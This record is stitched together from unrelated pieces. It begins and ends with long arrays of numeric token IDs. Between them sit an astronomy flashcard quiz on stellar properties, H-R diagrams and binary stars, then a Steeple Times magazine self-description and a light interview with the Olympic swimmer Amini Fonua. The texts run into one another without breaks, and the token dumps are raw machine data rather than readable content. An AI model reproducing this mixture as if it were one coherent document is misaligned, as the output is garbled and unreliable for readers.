187, 187, 9807, 285, 13371, 792, 9959, 1016, 5431, 3831, 247, 1643, 4289, 6114, 15, 187, 187, 1276, 513, 359, 1599, 407, 253, 2022, 14, 21934, 1614, 2727, 1127, 273, 247, 4177, 7368, 13, 285, 752, 1057, 352, 2028, 441, 32, 187, 187, 1147, 310, 253, 9879, 1511, 273, 253, 43526, 2022, 3425, 4177, 275, 247, 4177, 7368, 13, 285, 352, 8599, 441, 253, 7368, 434, 2363, 15, 187, 187, 3074, 6114, 403, 5686, 342, 253, 1072, 5044, 5889, 13, 2568, 6114, 476, 1007, 3240, 1027, 432, 581, 1529, 15, 6758, 767, 2616, 8558, 3653, 253, 5319, 273, 247, 4177, 32, 187, 187, 27132, 2280, 285, 697, 3924, 273, 1495, 15, 187, 187, 15545, 327, 253, 5426, 273, 5165, 20468, 13, 534, 5085, 403, 4569, 323, 697, 6341, 32, 187, 187, 56, 24729, 591, 6278, 21623, 15, 187, 187, 16043, 329, 310, 8931, 281, 8141, 378, 13, 3707, 326, 8141, 329, 310, 7019, 347, 2080, 432, 441, 347, 8141, 378, 15, 3813, 27, 187, 187, 14358, 6114, 452, 253, 1072, 20545, 13, 533, 253, 5165, 20468, 273, 8141, 378, 310, 1740, 2069, 326, 273, 8141, 329, 15, 187, 187, 34, 4177, 342, 247, 1061, 455, 991, 6907, 273, 337, 16, 938, 12423, 9815, 310, 37866, 15, 187, 187, 938, 1061, 1704, 84, 1977, 15, 187, 187, 510, 4177, 657, 3604, 556, 271, 7880, 9777, 273, 670, 470, 15, 10635, 327, 253, 14308, 273, 7880, 285, 5165, 9777, 13, 359, 476, 7525, 326, 37866, 15, 187, 187, 55, 3604, 310, 37335, 685, 884, 1061, 1704, 84, 432, 7565, 15, 187, 187, 1276, 3908, 670, 9879, 3510, 273, 6114, 310, 417, 3839, 2032, 32, 187, 187, 510, 9879, 1511, 273, 247, 4177, 476, 320, 908, 281, 3653, 697, 4181, 15, 187, 187, 20405, 3750, 310, 247, 4177, 342, 9879, 1511, 329, 4177, 285, 34382, 293, 310, 247, 4177, 342, 9879, 1511, 378, 4177, 15, 1737, 476, 359, 7525, 32, 187, 187, 51, 304, 293, 556, 247, 2169, 2553, 3276, 685, 9011, 3750, 15, 187, 187, 1992, 10173, 253, 11843, 273, 6114, 275, 66, 8985, 985, 13, 359, 1364, 2557, 616, 1713, 4414, 187, 187, 3980, 14424, 2180, 285, 3388, 18290, 4181, 15, 187, 187, 17784, 1020, 6341, 10313, 326, 247, 4177, 18922, 247, 11792, 5165, 20468, 387, 954, 2069, 13, 3707, 326, 387, 10799, 11508, 273, 11087, 3038, 253, 4177, 4916, 3317, 961, 323, 670, 374, 3038, 15, 380, 954, 2779, 8813, 310, 326, 37866, 15, 187, 187, 510, 4177, 310, 247, 3558, 273, 271, 42267, 3783, 272, 8985, 4177, 985, 15, 187, 187, 1394, 10018, 247, 4177, 285, 368, 971, 281, 7484, 352, 327, 271, 388, 14, 51, 295, 5168, 12068, 15, 1422, 588, 878, 417, 2557, 253, 4177, 434, 37866, 15, 187, 187, 23067, 15, 187, 187, 510, 16851, 2022, 14, 21934, 12702, 273, 247, 4177, 273, 9879, 1511, 473, 310, 37866, 15, 187, 187, 20, 3041, 1107, 15, 187, 187, 2347, 858, 35081, 398, 9413, 253, 2954, 875, 9879, 1511, 285, 2280, 323, 2022, 3425, 6114, 32, 187, 187, 1615, 10499, 253, 11843, 285, 9879, 3510, 273, 2022, 14, 21934, 6114, 275, 8985, 2718, 15, 187, 187, 1276, 8631, 253, 25423, 4177, 7368, 327, 253, 388, 14, 51, 10659, 32, 187, 187, 510, 10659, 2722, 2022, 14, 21934, 6114, 273, 1046, 9879, 1511, 3707, 473, 13, 2112, 342, 247, 1643, 33430, 285, 2221, 7311, 1103, 15, 187, 187, 2374, 253, 388, 14, 51, 10659, 13, 534, 7368, 310, 954, 2779, 281, 320, 4441, 275, 253, 20674, 273, 776, 13649, 32, 187, 187, 510, 10659, 2722, 2022, 14, 21934, 6114, 273, 9879, 3510, 443, 13, 611, 13, 285, 353, 13, 2112, 342, 7418, 33430, 285, 3168, 46203, 15, 510, 2951, 554, 282, 7717, 310, 271, 3909, 11338, 342, 247, 1563, 273, 11776, 80, 854, 1438, 13, 933, 4451, 6849, 591, 1388, 327, 776, 1682, 1388, 2568, 15, 187, 187, 1231, 452, 11583, 13, 933, 5312, 29184, 407, 4579, 15, 187, 187, 1231, 5431, 3388, 1475, 23349, 13, 933, 4451, 6849, 591, 1388, 15, 187, 187, 1231, 4390, 452, 7251, 15979, 4477, 665, 2491, 432, 3484, 281, 253, 12353, 13, 8406, 285, 14281, 19436, 6193, 76, 2727, 285, 253, 16928, 480, 13464, 6893, 466, 399, 3592, 8885, 15, 187, 187, 26180, 1699, 247, 5878, 273, 5948, 434, 1390, 3159, 285, 1097, 19311, 285, 15799, 13, 380, 2951, 554, 282, 7717, 10949, 2739, 13, 5484, 285, 4030, 17552, 347, 973, 347, 18997, 13, 4288, 13, 253, 14635, 13, 4292, 273, 4833, 285, 1655, 13909, 275, 253, 1986, 11491, 13, 3968, 285, 11358, 15, 844, 403, 1682, 2529, 347, 1146, 33917, 281, 346, 66, 2831, 875, 380, 35318, 16240, 5779, 285, 20859, 27919, 3446, 187, 187, 510, 11338, 434, 1563, 310, 2438, 36711, 13, 9583, 285, 5213, 15, 2726, 7609, 6, 273, 10668, 3551, 432, 253, 5591, 285, 6480, 6, 432, 3968, 13, 380, 2951, 554, 282, 7717, 671, 556, 2266, 3361, 1561, 9462, 13, 9890, 13, 5685, 285, 9943, 26949, 15, 187, 187, 13422, 323, 27, 187, 187, 9707, 9975, 7396, 2637, 49367, 187, 187, 4509, 4882, 253, 1673, 281, 11280, 247, 2285, 510, 2165, 1683, 398, 275, 253, 20490, 273, 877, 80, 13, 8815, 16893, 13, 31474, 285, 643, 9001, 187, 187, 34, 42825, 401, 251, 5738, 27, 773, 1276, 457, 84, 327, 634, 18006, 293, 14705, 7721, 187, 187, 1628, 5498, 457, 85, 5963, 13, 320, 1527, 14, 23674, 285, 2746, 3253, 368, 513, 342, 2389, 668, 1108, 1422, 476, 1620, 564, 3430, 15, 187, 187, 1628, 5498, 457, 85, 755, 1014, 13, 755, 24196, 668, 310, 13, 275, 776, 26896, 4743, 13, 247, 1270, 45820, 15, 1737, 457, 84, 13298, 32, 187, 187, 1628, 15751, 45166, 253, 1612, 273, 34555, 6598, 187, 187, 44, 9587, 13593, 8440, 369, 2783, 28536, 275, 5215, 15, 8452, 390, 752, 310, 28536, 275, 4072, 32, 187, 187, 42, 2985, 39628, 611, 2937, 594, 1199, 15, 32725, 2341, 310, 671, 28536, 275, 4072, 15, 187, 187, 41849, 28585, 38771, 1146, 12128, 8308, 15, 1737, 513, 368, 2985, 954, 275, 634, 1495, 32, 187, 187, 54, 18068, 13, 17120, 2, 309, 1158, 670, 352, 1046, 1388, 285, 309, 2985, 619, 31907, 625, 685, 2712, 15, 187, 187, 1276, 1537, 368, 22101, 512, 634, 8788, 323, 32, 187, 187, 23337, 15, 187, 187, 16008, 3778, 369, 2378, 247, 1083, 273, 27, 773, 2042, 368, 24186, 253, 4310, 247, 8014, 13, 597, 2810, 368, 1066, 28, 533, 604, 368, 24186, 253, 4310, 247, 6494, 13, 368, 1211, 253, 4310, 6598, 1737, 457, 84, 634, 1859, 327, 253, 19714, 8891, 32, 187, 187, 42, 1158, 17940, 3496, 15994, 2322, 943, 320, 29163, 816, 347, 1199, 347, 17940, 8294, 943, 320, 33302, 15, 31565, 273, 253, 2408, 13, 627, 1364, 320, 12255, 285, 40216, 15, 187, 187, 1276, 12616, 390, 3159, 513, 368, 954, 2343, 4349, 32, 187, 187, 1628, 15343, 348, 39919, 309, 1158, 352, 457, 84, 824, 247, 18934, 3159, 15, 187, 187, 688, 253, 5591, 13, 690, 952, 1908, 19489, 281, 773, 2043, 387, 1728, 6598, 1737, 457, 84, 634, 1859, 285, 752, 5997, 513, 368, 11697, 1329, 32, 187, 187, 42, 457, 78, 247, 4105, 5974, 594, 387, 1142, 2069, 309, 1158, 309, 457, 78, 619, 1211, 19489, 1083, 15, 309, 457, 78, 6685, 22500, 670, 1824, 5252, 275, 37477, 66, 285, 309, 1900, 5007, 347, 1199, 17120, 6500, 309, 476, 689, 627, 15, 187, 187, 510, 5963, 275, 5405, 3506, 2821, 47422, 3054, 27, 773, 42, 476, 3965, 1199, 513, 5913, 309, 971, 668, 1078, 1146, 24684, 598, 16682, 22291, 617, 6109, 4481, 15, 1737, 457, 84, 634, 1859, 327, 253, 4569, 897, 273, 824, 4095, 32, 187, 187, 42, 1158, 352, 457, 84, 1097, 247, 26569, 285, 247, 28401, 281, 1900, 320, 4802, 387, 512, 2069, 15, 187, 187, 34, 42825, 401, 251, 5738, 34, 42825, 401, 251, 5738, 29177, 387, 253, 4693, 4050, 17165, 323, 37477, 66, 285, 5608, 347, 521, 5674, 457, 84, 7908, 14, 1257, 12287, 187, 187, 2042, 368, 812, 7522, 247, 21614, 327, 380, 45674, 16500, 13, 665, 651, 320, 634, 7715, 16479, 32, 187, 187, 42, 457, 78, 417, 2119, 849, 1142, 309, 812, 452, 13, 533, 5604, 18268, 17239, 13, 20145, 13999, 13, 37641, 20146, 285, 46147, 29926, 15, 187, 187, 2042, 368, 497, 23293, 2217, 281, 990, 598, 327, 2471, 4194, 13, 752, 651, 320, 634, 1390, 11484, 285, 835, 651, 368, 6008, 352, 32, 187, 187, 42, 651, 3164, 1478, 323, 247, 11152, 2206, 333, 42463, 13, 2054, 265, 285, 247, 14354, 2301, 661, 73, 640, 387, 247, 1659, 1925, 48565, 15558, 275, 1457, 12123, 15, 187, 187, 1276, 673, 310, 352, 12207, 281, 21409, 253, 806, 5484, 273, 253, 1388, 32, 187, 187, 1147, 457, 84, 608, 258, 457, 13273, 9366, 13, 594, 28537, 15, 187, 187, 34, 3532, 737, 12355, 13, 247, 16172, 5391, 390, 247, 5500, 273, 10331, 32, 187, 187, 34, 5500, 273, 10331, 15, 187, 187, 3152, 583, 4676, 513, 368, 4264, 253, 954, 285, 2139, 32, 187, 187, 42, 4264, 4676, 835, 368, 476, 1453, 253, 3440, 285, 368, 457, 250, 13750, 407, 634, 8642, 3858, 15, 2064, 1039, 13, 604, 368, 1056, 247, 11213, 273, 4834, 327, 253, 11012, 5254, 13, 12445, 588, 5963, 368, 15, 187, 187, 7883, 310, 253, 954, 2762, 1436, 368, 871, 32, 187, 187, 34, 13491, 3226, 1925, 1219, 571, 2058, 31299, 665, 10831, 84, 323, 41198, 15, 309, 457, 306, 2326, 617, 564, 949, 594, 1142, 10458, 2069, 285, 10380, 703, 1900, 3785, 949, 342, 247, 8580, 327, 617, 2454, 15, 187, 187, 1276, 457, 84, 634, 954, 8106, 11284, 32, 187, 187, 47141, 10777, 15, 187, 187, 2042, 247, 31720, 497, 281, 2020, 368, 598, 13, 752, 651, 352, 320, 273, 32, 187, 187, 34, 1077, 47955, 440, 41257, 390, 5046, 247, 849, 1981, 25872, 15, 187, 187, 2042, 368, 497, 247, 1113, 13, 752, 2304, 1452, 651, 368, 320, 32, 187, 187, 38, 1441, 13, 309, 1053, 457, 85, 871, 1199, 670, 8458, 15, 309, 9549, 253, 1685, 281, 285, 432, 2143, 15, 5220, 13, 672, 309, 2118, 281, 1457, 2816, 13, 309, 1053, 457, 85, 1158, 309, 457, 620, 320, 2104, 281, 452, 247, 1113, 2057, 15, 309, 971, 281, 1333 ]	OUr Sun is a star of spectral type_____. G. Astronomers can measure a star's mass in only certain cases. Which one of the following cases might allow astronomers to measure a star's mass? The star is a member of the binary star system. What term is given to a pair of stars that we can determine are orbitiong each other only by measuring their periodic Doppler shifts? Spectroscopic binary. The axes on a Hertzsprung-Russell diagram represent _____. Luminosity and surface temperature. What can we infer, at least roughly, from a star's luminosity class? Its size. On an H-R diagram, stellar radii _____. Increase diagonally from the lower left to the upper right. On an H-R diagram, stellar masses _____. Can be determined for main sequence stars but not for other types of stars. How is the lifetime of a star related to its mass? More massive stars live much shorter lives than less massive stars. What spectral type and luminosity is a red supergiant? Spectral type M2, luminosity class I. What is the common trait of all main sequence stars? They generate energy through hydrogen fusion in their core. Suppose our Sun were suddenly replaced by a supergiant star. What would be true? Earth would be inside the supergiant. What is a white dwarf? The remains of a star that ran out of fuel for nuclear fusion. What statement comparing open and globular star clusters is not true? Open and globular clusters each typically contain a few hundred stars. What do we mean by the main-sequence turnoff point of a star cluster, and what does it tell us? It is the spectral type of the hottest main sequence star in a star cluster, and it tells us the cluster's age. All stars are born with the same basic composition, yet stars can look quite different from one another. Which two factors primarily determine the characteristics of a star? Its mass and its stage of life. Based on the definition of apparent brightness, which units are appropriate for its measurements? Watts per square meter. Star A is identical to Star B, except that Star A is twice as far from us as Star B. Therefore: Both stars have the same luminosity, but the apparent brightness of Star B is four times that of Star A. A star with a parallax angle of 1/20 arcsecond is _____. 20 parsecs away. The star Vega has an absolute magnitude of about 0. Based on the definitions of absolute and apparent magnitude, we can conclude that _____. Vega is nearer than 10 parsecs from Earth. What statement about spectral types of stars is not generally true? The spectral type of a star can be used to determine its distance. Sirius is a star with spectral type A star and Rigel is a star with spectral type B star. What can we conclude? Rigel has a higher surface temperature than Sirius. To calculate the masses of stars ina binary system, we must measure their_____. Orbital period and average orbital distance. Careful measurements reveal that a star maintains a steady apparent brightness at most times, except that at precise intervals of 73 hours the star becomes dimmer for about 2 hours. The most likely explanation is that _____. The star is a member of an ecliosing binary star system. You observe a star and you want to plot it on an H-R ndiagram. You will need not measure the star's _____. Mass. The approximate main-sequence lifetime of a star of spectral type O is _____. 3 million years. How did astronomers discover the relationship between spectral type and mass for main sequence stars? by measuring the masses and spectral types of main-sequence stars in binary systems. What describes the youngest star cluster on the H-R diagram? The diagram shows main-sequence stars of every spectral type except O, along with a few giants and supergiants. On the H-R diagram, which cluster is most likely to be located in the halo of our galaxy? The diagram shows main-sequence stars of spectral types G, K, and M, along with numerous giants and white dwarfs.The Steeple Times is an online magazine with a following of upto 880,000 unique views per day on our best day yet. We have 91,000 daily subscribers by email. We typically average around 320,000 unique views per day. We currently have 65 contributing authors who range from students to the actor, writer and producer Steven Berkoff and the champion jockey Frankie Dettori. Combining a mix of society's last word and both wit and wisdom, The Steeple Times covers food, drink and fine dining as well as luxury, travel, the arts, individuals of influence and current affairs in the United Kingdom, America and elsewhere. We are best described as being akin to "a cross between The Huffington Post and Private Eye". The magazine's following is affluent, engaged and international. With 41% of readers coming from the UK and 38% from America, The Steeple Times also has strong presence within Canadian, Italian, German and Australian territories. Search for: THE SPORTING LIFE From playing the field to buying a teamThe game changers in the worlds of polo, horse racing, sailing and other sports Amini Fonua: “What’s on your mantelpiece?” “Don’t judge, be open-minded and approach everything you do with love” – You can never go wrong. “Don’t get even, get medieval” is, in our humble opinion, a great motto. What’s yours? “Never underestimate the power of forgiveness”. Kerry Katona was considered unacceptable in 2007. Who or what is unacceptable in 2013? I miss Atomic Kitten so much. Negative energy is also unacceptable in 2013. Tony Blair misses being Prime Minister. What do you miss most in your life? Ugh, swimming! I think about it every day and I miss my teammates more than anything. What might you swap all your wealth for? Love. Donald Trump was once a case of: “If you owe the bank a thousand, they close you down; but if you owe the bank a billion, you own the bank”. What’s your view on the banking crisis? I think fiscal irresponsibility should be punished just as much as fiscal responsibility should be rewarded. Regardless of the amount, there must be checks and balances. What phrase or word do you most loathe? “Belch”: I think it’s such a crude word. In the UK, some people consider charity to “begin at home”. What’s your view and what causes do you personally support? I’m a poor student so at many times I think I’m my own charity case. I’m extremely passionate about water safety in Tonga and I always send as much swimming equipment I can over there. The judge in Law Abiding Citizen states: “I can pretty much do whatever I want” before being blown up whilst answering her mobile phone. What’s your view on the appropriate use of such devices? I think it’s both a blessing and a curse to always be connected at all times. Amini FonuaAmini Fonua competed at the London 2012 Olympics for Tonga and served as his nation’s flag-bearer If you could fill a carriage on The Orient Express, who would be your fellow passengers? I’m not sure how many I could have, but certainly RuPaul, Margaret Cho, Jackie Collins and Kathy Griffin. If you were unfortunate enough to end up on death row, what would be your last meal and where would you eat it? I would probably opt for a chicken satay burger, fries and a chocolate milkshake at a place called Burger Wisconsin in New Zealand. What time is it acceptable to consume the first drink of the day? It’s 5 o’clock somewhere, so anytime. A Negroni, a martini or a cup of tea? A cup of tea. Whose parties do you enjoy the most and why? I enjoy parties where you can control the music and you’re surrounded by your closest friends. That way, if you make a fool of yourself on the dance floor, nobody will judge you. Who is the most positive person you know? A lovely girl called Alia Atkinson who swims for Jamaica. I’ve seen her go through so many tough times and somehow she always pull through with a smile on her face. What’s your most guilty pleasure? Ice cream. If a tattoo were to sum you up, what would it be of? A very mystical unicorn or maybe a howling wolf. If you were a car, what marque would you be? Eek, I don’t know much about cars. I ride the bus to and from school. Also, when I move to New York, I don’t think I’ll be able to have a car either. I want to say
[ 253, 990, 273, 776, 9864, 13, 2975, 15, 7214, 323, 2762, 2193, 273, 669, 4259, 2253, 2690, 92, 5914, 13, 66, 724, 247, 8091, 588, 320, 2104, 281, 8773, 253, 18924, 2442, 15, 17501, 13, 352, 588, 3297, 3033, 15, 535, 50276, 26043, 36056, 36056, 187, 50254, 50270, 38635, 43003, 50260, 38, 720, 66, 187, 50254, 50274, 8850, 1202, 2690, 92, 46, 11110, 16351, 13488, 10, 50275, 8850, 1202, 2690, 92, 46, 11110, 16351, 13488, 10, 187, 50276, 12481, 50254, 50272, 18, 15, 17758, 50256, 17, 15, 29412, 187, 50276, 36, 50254, 50270, 50276, 17, 15, 28418, 50256, 17, 15, 21045, 187, 50276, 48, 50254, 50270, 50276, 17, 15, 29579, 50256, 17, 15, 24341, 187, 50276, 6560, 50254, 50270, 470, 15, 29695, 50256, 17, 15, 5523, 187, 50276, 35811, 50254, 50270, 470, 15, 5525, 50256, 17, 15, 13144, 187, 50276, 14581, 50254, 50270, 470, 15, 10496, 50256, 17, 15, 14521, 187, 50276, 52, 50254, 50270, 50276, 17, 15, 5525, 50256, 17, 15, 8972, 187, 50276, 13614, 50254, 50270, 470, 15, 14602, 50257, 17, 15, 2874, 187, 50276, 7510, 50254, 50270, 470, 15, 5525, 50256, 17, 15, 26045, 187, 50276, 24534, 50254, 50270, 470, 15, 14521, 50256, 17, 15, 17306, 187, 50276, 46265, 2690, 92, 768, 3208, 94, 24534, 20977, 50265, 17, 15, 12582, 50256, 17, 15, 18663, 187, 50276, 26043, 36056, 36056, 535, 50276, 27, 714, 1001, 84, 273, 3609, 3417, 323, 1566, 427, 22, 1545, 16079, 2203, 14, 1968, 568, 8476, 27, 41770, 84, 986, 187, 187, 10971, 13, 359, 18301, 253, 440, 9458, 42330, 6353, 281, 247, 16619, 16561, 9860, 281, 17029, 253, 5793, 5889, 273, 253, 18864, 37726, 66, 275, 253, 20185, 7602, 2317, 35117, 21, 62, 1916, 436, 990, 13, 359, 908, 271, 322, 6663, 751, 5933, 347, 2529, 275, 1214, 76, 409, 254, 7199, 66, 15, 380, 4795, 37726, 66, 2605, 310, 2011, 275, 2667, 15, 575, 1447, 926, 27, 42190, 4207, 496, 4499, 281, 253, 9864, 407, 1214, 75, 11208, 6755, 67, 13, 776, 1566, 2722, 642, 17088, 1781, 14, 7527, 5889, 27110, 15, 1707, 403, 13, 2299, 13, 1355, 4311, 19729, 1658, 447, 1955, 281, 253, 33217, 5606, 273, 253, 809, 14293, 1589, 21253, 15, 380, 4038, 6923, 387, 670, 5307, 46265, 2690, 92, 10294, 4615, 256, 2497, 18, 4018, 1181, 575, 261, 4197, 1309, 253, 19508, 24295, 318, 273, 253, 3033, 5161, 313, 255, 370, 85, 393, 3549, 1249, 5, 84, 2262, 2732, 1534, 3302, 7466, 1955, 281, 13195, 13, 253, 6571, 440, 14814, 264, 6703, 4243, 273, 253, 37726, 66, 1265, 10805, 896, 275, 4515, 15, 831, 5644, 281, 253, 4702, 273, 247, 4275, 8566, 5161, 13, 534, 13, 846, 4869, 13800, 13, 7866, 281, 5645, 969, 15, 2058, 253, 1072, 673, 13, 8346, 8090, 403, 1335, 2192, 11822, 285, 271, 25555, 6966, 4948, 387, 253, 5024, 273, 253, 14086, 5161, 544, 7836, 15, 1214, 67, 41647, 7857, 66, 1570, 496, 776, 1566, 13, 4869, 9208, 275, 253, 25555, 6966, 816, 3986, 370, 740, 63, 26, 5, 44, 387, 16689, 273, 370, 22, 393, 3181, 884, 63, 22, 4615, 187, 464, 5539, 464, 2690, 92, 72, 94, 5095, 393, 2690, 92, 3591, 11444, 20, 35799, 3103, 642, 43072, 318, 588, 320, 17142, 313, 1542, 4619, 2515, 923, 1214, 287, 554, 413, 8602, 66, 285, 1214, 339, 262, 12586, 16758, 7857, 67, 481, 187, 187, 3138, 5695, 880, 79, 22, 64, 3118, 910, 3429, 568, 17, 15, 25, 61, 25067, 986, 187, 187, 52, 23744, 34658, 1712, 1704, 27, 23705, 2272, 94, 187, 18613, 187, 187, 1992, 4044, 13506, 9408, 285, 1708, 9191, 323, 776, 1566, 13, 359, 908, 253, 673, 14, 6820, 495, 37, 16448, 22799, 35873, 3700, 2127, 654, 2551, 3740, 568, 4909, 14, 15417, 27, 6795, 14, 10127, 13011, 435, 261, 870, 2551, 31, 1008, 76, 409, 254, 7857, 66, 28, 1214, 3549, 8602, 67, 1570, 1198, 253, 35873, 3700, 9864, 359, 18301, 253, 11921, 285, 4038, 2605, 273, 253, 440, 9458, 37726, 66, 387, 253, 990, 273, 253, 40623, 9938, 313, 1615, 534, 1127, 30742, 7466, 310, 247, 1175, 11193, 10, 281, 247, 370, 1235, 63, 20, 5, 16619, 16561, 9860, 285, 3560, 253, 18634, 273, 370, 740, 63, 25, 5, 15523, 20342, 323, 11334, 42407, 1037, 14, 1033, 2575, 673, 5018, 875, 374, 285, 7346, 69, 846, 18864, 15, 1916, 3885, 598, 253, 3302, 3408, 13, 247, 14370, 11193, 13, 347, 5469, 407, 1214, 76, 409, 254, 7857, 66, 13, 369, 908, 275, 37006, 5026, 1341, 13, 285, 253, 3302, 884, 673, 5018, 313, 74, 15, 70, 15, 575, 783, 3302, 1264, 1897, 846, 253, 18864, 10, 497, 4127, 275, 1980, 32908, 12902, 313, 45, 5428, 481, 1198, 776, 9864, 359, 908, 253, 2802, 2760, 60, 2582, 880, 27307, 29976, 14, 21, 457, 13805, 941, 873, 273, 1214, 76, 409, 254, 7857, 66, 342, 247, 2264, 273, 2367, 3549, 8633, 25, 15, 19, 61, 3181, 740, 63, 23, 5, 3033, 1253, 9458, 16307, 15, 380, 4795, 3862, 14, 4152, 1708, 9191, 285, 247, 9879, 673, 2962, 403, 2011, 275, 29230, 15, 575, 1447, 926, 27, 3243, 1915, 1634, 696, 285, 905, 926, 27, 4157, 14095, 696, 285, 2429, 281, 7167, 575, 9204, 44734, 347, 247, 17335, 323, 7167, 575, 10016, 33060, 14, 3022, 5113, 15, 187, 187, 34752, 14, 4152, 1708, 9191, 1712, 1704, 27, 3243, 1915, 1634, 94, 187, 25916, 187, 187, 3138, 5695, 880, 79, 22, 64, 26, 77, 6113, 64, 26185, 10, 187, 187, 1909, 2361, 407, 1214, 75, 3227, 8603, 66, 285, 1214, 545, 408, 2824, 8602, 66, 13, 7167, 575, 10016, 33060, 14, 3022, 5113, 403, 36719, 407, 5799, 9879, 3386, 285, 1708, 9191, 15, 496, 253, 1563, 13, 359, 588, 7409, 281, 534, 6070, 776, 1566, 310, 7032, 281, 18302, 841, 3386, 15, 4325, 253, 3862, 14, 4152, 1708, 9191, 275, 2667, 15, 575, 1447, 926, 27, 3243, 1915, 1634, 696, 352, 310, 4745, 4755, 326, 776, 1566, 10129, 253, 475, 676, 5241, 13231, 48250, 11, 273, 6752, 33060, 14, 3022, 322, 6560, 3240, 973, 15, 831, 13, 273, 2282, 13, 310, 417, 594, 10084, 13, 1580, 359, 5055, 247, 1566, 342, 247, 20629, 2690, 92, 768, 3208, 94, 24534, 20977, 2280, 2810, 281, 326, 8310, 595, 6012, 323, 7167, 575, 9204, 44734, 15, 1723, 13, 359, 513, 417, 760, 755, 253, 3451, 5241, 13231, 48250, 533, 671, 5512, 253, 987, 22290, 387, 4869, 15, 5076, 13, 776, 1566, 10748, 11424, 253, 475, 5375, 566, 273, 6561, 49313, 275, 253, 47067, 11, 10604, 15, 831, 310, 247, 9936, 273, 253, 33217, 13195, 13, 534, 5644, 281, 271, 2761, 4336, 6804, 37726, 66, 2605, 342, 247, 11467, 3638, 6871, 14, 4399, 3284, 313, 2431, 38, 10, 2280, 6919, 387, 512, 24409, 313, 2887, 29230, 15, 575, 1447, 926, 27, 8724, 696, 285, 905, 926, 27, 42190, 8001, 1214, 39903, 257, 8603, 67, 556, 2011, 326, 7167, 37726, 66, 342, 824, 247, 26222, 1025, 5889, 403, 417, 3264, 281, 921, 6561, 49313, 275, 253, 47067, 15, 187, 187, 8665, 19532, 1005, 273, 6752, 33060, 14, 3022, 322, 6560, 403, 616, 475, 31200, 314, 27177, 1708, 9191, 275, 370, 51, 5, 285, 2502, 491, 10604, 11, 285, 17912, 671, 275, 12160, 48, 3027, 16049, 7480, 15, 496, 436, 1675, 776, 1566, 556, 690, 35387, 15, 3900, 352, 23395, 7598, 707, 253, 1501, 14, 36116, 10343, 275, 253, 370, 54, 1366, 370, 35, 5, 285, 370, 55, 5, 10604, 13, 776, 1501, 14, 36116, 1708, 6970, 5606, 310, 1512, 3809, 3782, 275, 370, 51, 5, 285, 2502, 491, 10604, 13, 533, 671, 275, 12160, 48, 3027, 16049, 7480, 15, 831, 812, 320, 247, 9936, 273, 776, 1698, 37726, 66, 2280, 273, 760, 470, 15, 1787, 46265, 2690, 92, 46, 11110, 16351, 5, 3455, 534, 310, 417, 2104, 281, 15464, 2217, 669, 2733, 2911, 4614, 2492, 846, 4869, 15, 844, 3877, 13, 2299, 13, 326, 253, 13506, 1708, 9191, 275, 2667, 15, 575, 1447, 926, 27, 3243, 1915, 1634, 696, 403, 760, 20351, 407, 1985, 279, 13340, 1487, 275, 253, 37726, 66, 15, 1707, 1615, 359, 18369, 667, 1896, 4833, 432, 253, 3033, 43003, 13, 247, 268, 25776, 14, 484, 13671, 1789, 16934, 407, 253, 18864, 13, 285, 671, 432, 253, 20629, 2690, 92, 768, 3208, 94, 24534, 20977, 326, 11521, 896, 4830, 253, 43003, 313, 2887, 5270, 575, 1447, 8476, 27, 41770, 84, 8001, 2732, 4869, 1708, 13, 672, 253, 37726, 66, 1265, 281, 2489, 37006, 6906, 13, 253, 3033, 43003, 588, 320, 7329, 285, 352, 812, 8386, 275, 347, 271, 3081, 20545, 2603, 15, 844, 588, 2319, 436, 27807, 6387, 275, 5238, 575, 1447, 1704, 27, 2013, 45886, 4207, 187, 187, 6436, 13, 2819, 387, 253, 4583, 5281, 273, 253, 2393, 1708, 9191, 13, 271, 12497, 35600, 273, 7742, 275, 253, 37726, 66, 285, 3021, 1512, 1698, 37726, 66, 2280, 3133, 281, 320, 625, 2779, 15, 2726, 247, 370, 35, 2911, 4152, 6054, 673, 273, 1903, 15, 19, 69, 13, 776, 1566, 43279, 8489, 1512, 3809, 2429, 281, 253, 6054, 673, 273, 7167, 575, 9204, 44734, 13, 323, 534, 1008, 545, 408, 2824, 8602, 66, 62, 1089, 247, 1318, 273, 370, 1010, 61, 2617, 18, 5, 69, 15, 187, 187, 13967, 474, 9408, 187, 11311, 187, 187, 3138, 38727, 1544, 5606, 273, 1566, 427, 22, 1545, 432, 428, 23, 15, 20, 281, 1638, 15, 23, 1897, 313, 554, 3770, 84, 403, 1677, 342, 1675, 281, 370, 35, 2911, 4152, 4869, 481, 1198, 5301, 253, 2540, 9408, 273, 253, 6752, 33060, 14, 3022, 7167, 575, 9204, 44734, 1008, 545, 408, 2824, 8602, 66, 62, 403, 689, 14, 446, 7655, 275, 2806, 15, 380, 7313, 497, 372, 14, 433, 69, 2348, 285, 372, 14, 433, 11551, 264, 2556, 281, 253, 2193, 273, 1214, 545, 408, 2824, 8602, 66, 285, 1214, 84, 20957, 8012, 66, 13, 2975, 16079, 2203, 14, 1968, 568, 926, 27, 4157, 14095, 10148, 4157, 14095, 910, 3429, 26303, 25067, 986, 187, 187, 33, 75, 3227, 8603, 66, 285, 1214, 545, 408, 2824, 8602, 66, 671, 1304, 19532, 3386, 323, 253, 9408, 273, 6752, 33060, 14, 3022, 322, 6560, 15, 2058, 475, 3456, 14, 36116, 44540, 11, 597, 1089, 271, 475, 18243, 575, 14209, 53, 14, 3022, 6637, 11, 342, 247, 4797, 19106, 13, 5075, 11058, 3386, 387, 2367, 3549, 8633, 21, 1518, 5, 285, 29067, 18221, 395, 642, 2266, 544, 13614, 60, 2886, 9899, 11058, 3386, 15, 1284, 476, 320, 2326, 432, 253, 1755, 12471, 273, 2667, 15, 575, 1447, 926, 27, 4157, 14095, 5290, 776, 1566, 10748, 26295, 436, 8770, 13, 8847, 273, 271, 7235, 5837, 1375, 2169, 685, 275, 2622, 322, 6560, 575, 42, 66, 15, 187, 187, 21342, 13, 6752, 33060, 14, 3022, 322, 6560, 921, 247, 1534, 475, 1987, 2382, 432, 309, 7538, 84, 281, 253, 9408, 387, 512, 44540, 2992, 1223, 2622, 322, 6560, 575, 42, 66, 513, 417, 921, 2266, 309, 7538, 3386, 1919, 973, 14, 6438, 4869, 1708, 15, 12571, 281, 253, 2266, 12480, 273, 253, 37726, 66, 13, 776, 1566, 310, 2761, 26222, 1025, 285, 3021, 26295, 2266, 309, 7538, 9021, 387, 512, 44540, 15, 831, 310, 12800, 275, 2667, 15, 575, 1447, 926, 27, 9293, 336, 9115, 14095, 4207, 1707, 13, 253, 10688, 12425, 2708, 253, 13506, 6637, 6492, 253, 6919, 273, 34528, 20342, 275, 1016, 11225, 10269, 326, 497, 1390, 23128, 407, 3033, 